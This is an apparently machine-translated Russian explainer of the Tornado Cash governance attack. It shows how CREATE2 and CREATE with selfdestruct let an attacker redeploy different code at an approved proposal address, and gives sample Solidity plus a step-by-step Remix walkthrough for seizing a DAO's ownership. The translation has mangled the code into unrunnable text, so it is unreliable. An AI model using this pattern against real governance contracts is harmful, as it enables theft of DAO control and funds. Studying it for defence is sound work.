Tornado Governance Attack: как развернуть разные контракты на одном и том же адресе

Около двух недель назад (20 мая) известный протокол смешивания валют Tornado Cash подвергся атаке управления, и хакеры получили контроль (владелец) контракта управления Tornado Cash.

Процесс атаки выглядит следующим образом: злоумышленник сначала подает «нормально выглядящее» предложение, после того, как предложение будет передано, уничтожает адрес контракта, который должен быть выполнен по предложению, и воссоздает контракт атаки по адресу.

Для процесса атаки вы можете просмотреть Анализ принципа атаки Tornado.Cash Proposal SharkTeam. [1] 。

Ключом к атаке здесь является развертывание разных контрактов одного и того же адреса. Как это достигается?

жизненный опыт

В EVM есть два кода операции для создания контрактов: CREATE и CREATE2.

СОЗДАТЬ код операции

При использовании new Token() для использования кода операции CREATE функция расчета адреса созданного контракта выглядит следующим образом:

адрес tokenAddr = bytes20(keccak256(senderAddress, nonce))

Адрес созданного контракта определяется как адрес создателя + номер создателя (количество созданных контрактов), так как нонс всегда увеличивается постепенно, при увеличении нонса адрес созданного контракта всегда разный.

Код операции CREATE2

При добавлении соли new Token{salt: bytes32()}() используется код операции CREATE2, а функция расчета адреса созданного контракта:

адрес tokenAddr = bytes20 (keccak256 (0xFF, senderAddress, соль, байт-код))

Адрес созданного контракта: адрес создателя + пользовательская соль + байт-код развертываемого смарт-контракта, поэтому можно использовать только один и тот же байт-код и одно и то же значение соли. Может быть развернут по тому же договорному адресу.

Так как же можно развернуть разные контракты по одному и тому же адресу?

Метод атаки

Злоумышленник использует Create2 и Create вместе для создания контракта, как показано на рисунке:

Код, на который ссылается:

Сначала используйте Create2 для развертывания Deployer контракта, затем используйте Create in Deployer для создания целевого предложения контракта (для использования в предложении). Контракты Deployer и Proposal имеют реализации самоуничтожения (selfdestruct).

После того, как предложение передано, злоумышленник уничтожает контракты Deployer и Proposal, а затем повторно создает Deployer с тем же slat.Байт-код Deployer остается тем же, и slat тот же, поэтому тот же адрес контракта Deployer, что и раньше, будет быть получен, но в это время Deployer Состояние контракта очищается, а одноразовый номер начинается с 0, поэтому с использованием этого одноразового номера может быть создана другая Атака контракта.

Пример кода атаки

Этот код взят из:

// SPDX-идентификатор лицензии: MIT прочность прагмы ^0,8,17; договор ДАО { структура предложения { адресная цель; логический одобрен; логический; } публичный владелец адреса = msg.sender; Предложение[] публичные предложения; функция одобряет (целевой адрес) внешний { требуют(msg.sender == владелец, "не авторизован"); предложения.push(Предложение({цель: цель, утверждено: правда, проверено: ложь})); } функция ute(uint256 offerId) внешняя кредиторская задолженность { Предложение по хранению предложений = предложения [proposalId] ; требуют(предложение.одобрено, "не одобрено"); требуют(!proposal.uted, "uted"); предложение.uted = правда; (bool ok, ) = offer.target.delegatecall( abi.encodeWithSignature("uteProposal()") ); require(ok, "делегатный вызов не удался"); } } контракт Предложение { Журнал событий (строковое сообщение); функция uteProposal() внешняя { emit Log("Выполненный код одобрен DAO"); } функция EmergencyStop() внешняя { самоуничтожение (оплачивается (адрес (0))); } } контракт Атака { Журнал событий (строковое сообщение); адрес государственного собственника; функция uteProposal() внешняя { emit Log("Выполненный код не одобрен DAO :)"); // Например, установить владельца DAO в качестве злоумышленника владелец = msg.sender; } } контракт DeployerDeployer { Журнал событий (адрес адрес); функция развертывания () внешняя { bytes32 соль = keccak256 (abi.encode (uint (123))); адрес addr = адрес (новый Deployer {соль: соль}()); выдать журнал (адрес); } } заказчик контракта { Журнал событий (адрес адрес); функция deployProposal() внешняя { адрес addr = адрес (новое предложение ()); выдать журнал (адрес); } функция deployAttack() внешняя { адрес addr = адрес (новая атака ()); выдать журнал (адрес); } функция kill () внешняя { самоуничтожение (оплачивается (адрес (0))); } }

Вы можете использовать этот код, чтобы пройти его самостоятельно в Remix.

  1. Сначала разверните DeployerDeployer, вызовите DeployerDeployer.deploy() для развертывания Deployer, а затем вызовите Deployer.deployProposal() для развертывания предложения.
  2. После получения адреса контракта предложения предложения инициируйте предложение в DAO.
  3. Вызовите Deployer.kill и Proposal.emergencyStop соответственно, чтобы уничтожить Deployer и Proposal.
  4. Вызовите DeployerDeployer.deploy() еще раз, чтобы развернуть Deployer, вызовите Deployer.deployAttack(), чтобы развернуть Attack, и Attack будет соответствовать предыдущему предложению.
  5. При выполнении DAO.ute атака получила разрешение владельца DAO.
Посмотреть Оригинал
Содержание носит исключительно справочный характер и не является предложением или офертой. Консультации по инвестициям, налогообложению или юридическим вопросам не предоставляются. Более подробную информацию о рисках см. в разделе «Дисклеймер».
  • Награда
  • комментарий
  • Поделиться
комментарий
0/400
Нет комментариев
  • Закрепить